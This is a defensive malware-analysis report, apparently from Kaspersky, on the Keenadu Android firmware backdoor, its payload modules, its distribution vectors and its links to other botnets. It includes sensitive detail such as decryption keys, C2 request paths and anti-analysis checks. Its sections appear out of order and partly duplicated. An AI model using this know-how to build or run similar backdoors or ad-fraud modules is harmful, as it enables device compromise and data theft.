The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.
Example of payload metadata
In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.
Google Chrome module
This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.
Searching for the url_bar text element
If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.
Search engine hijacking
It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.
Search engine hijacking upon selecting a browser-suggested option
The Nova (Phantom) clicker
The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.
Nova as the plugin name
It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.
Request to unload the Nova module
Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:
The Nova clicker.
A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.
Install monetization
A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.
Handler registration
Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.
Example of a monetization module configuration
When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.
App ad source information
For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.
Google Play module
Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.
Retrieving the advertising ID
Other Keenadu distribution vectors
During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.
System apps
According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.
Using the face recognition service in the System UI
Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.
Malicious call
The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.
Native methods defined by the library
This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.
In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.
We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.
Retrieving the configuration from the C2
Loading via other backdoors
While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:
com.androidextlib.sloth.api.IPServiceM
com.androidextlib.sloth.api.IPermissionsM
These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.
Payload decryption
The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.
The path /terminal/client/register was previously documented in a HUMAN Security report
Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.
One of the binder interfaces used by Keenadu is defined in the payload
Modifications of popular apps
Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.
Google Play
Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.
Examples of infected apps in Google Play
Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.
The malicious service was launched only under specific conditions
The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected
After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.
In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.
BADBOX payload code used for stealing credentials from WhatsApp clients
The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".
Decrypted payload C2 addresses
After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.
BADBOX and Triada launched from the same entry point
These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.
Victims
According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.
Recommendations
Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.
If the libandroid_runtime.so library is infected
Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.
Review of an infected tablet complaining about noise
If you encounter the Keenadu backdoor, we recommend the following:
Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
Until the firmware is replaced or updated, we recommend that you stop using the infected device.
If one of the system apps is infected
Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:
Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.
If an infected app has been installed on the device
This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.
Conclusion
Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.
Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.
In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.
This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.
Our findings can be summarized as follows:
We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.
The complete Keenadu infection chain looks like this:
Full infection diagram
Kaspersky solutions detect the threats described below with the following verdicts:
At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:
Call to the suspicious function
The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.
Payload decryption
The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.
Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.
Launching system_server in Zygote
The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.
The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:
Keenadu backdoor execution flow
It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.
AKClient architecture
AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.
AKServer architecture
At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:
Grant any permission to an arbitrary app on the device.
Revoke any permission from an arbitrary app on the device.
Retrieve the device’s geolocation.
Exfiltrate device information.
Malicious interface for permission management and device data collection
Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:
The encrypted address string is decoded using Base64.
The resulting data, a gzip-compressed buffer, is then decompressed.
The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".
After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:
m: the MD5 hash of the device IMEI
n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)
The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.
How Keenadu compromised libandroid_runtime.so
After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.
User complaints regarding suspicious DNS queries
The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:
67.198.232[.]4
67.198.232[.]187
The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.
To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparsecode); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.
We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.
Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.
During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.
Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.
The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.
Code snippet where the attacker inserted the malicious call
According to our data, the malicious dependency was located within the firmware source code repository at the following paths:
Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.
Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.
Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.
Keenadu backdoor modules
As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.
The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.
Example of payload metadata
Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):
After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".
The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.
Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.
Keenadu loader
This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:
com.amazon.mShop.android.shopping (Amazon)
com.zzkko (SHEIN)
com.einnovation.temu (Temu)
The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServerrequests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.
Data collection via the plugin
In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.
Use of an installation session
Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.
User complaint on Reddit
Clicker loader
These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:
Wallpaper (com.android.wallpaper)
YouTube (com.google.android.youtube)
Facebook (com.facebook.katana)
Digital Wellbeing (com.google.android.apps.wellbeing)
System launcher (com.android.launcher3)
Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:
The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.
Example of payload metadata
In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.
Google Chrome module
This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.
Searching for the url_bar text element
If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.
Search engine hijacking
It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.
Search engine hijacking upon selecting a browser-suggested option
The Nova (Phantom) clicker
The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.
Nova as the plugin name
It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.
Request to unload the Nova module
Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:
The Nova clicker.
A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.
Install monetization
A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.
Handler registration
Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.
Example of a monetization module configuration
When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.
App ad source information
For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.
Google Play module
Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.
Retrieving the advertising ID
Other Keenadu distribution vectors
During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.
System apps
According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.
Using the face recognition service in the System UI
Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.
Malicious call
The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.
Native methods defined by the library
This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.
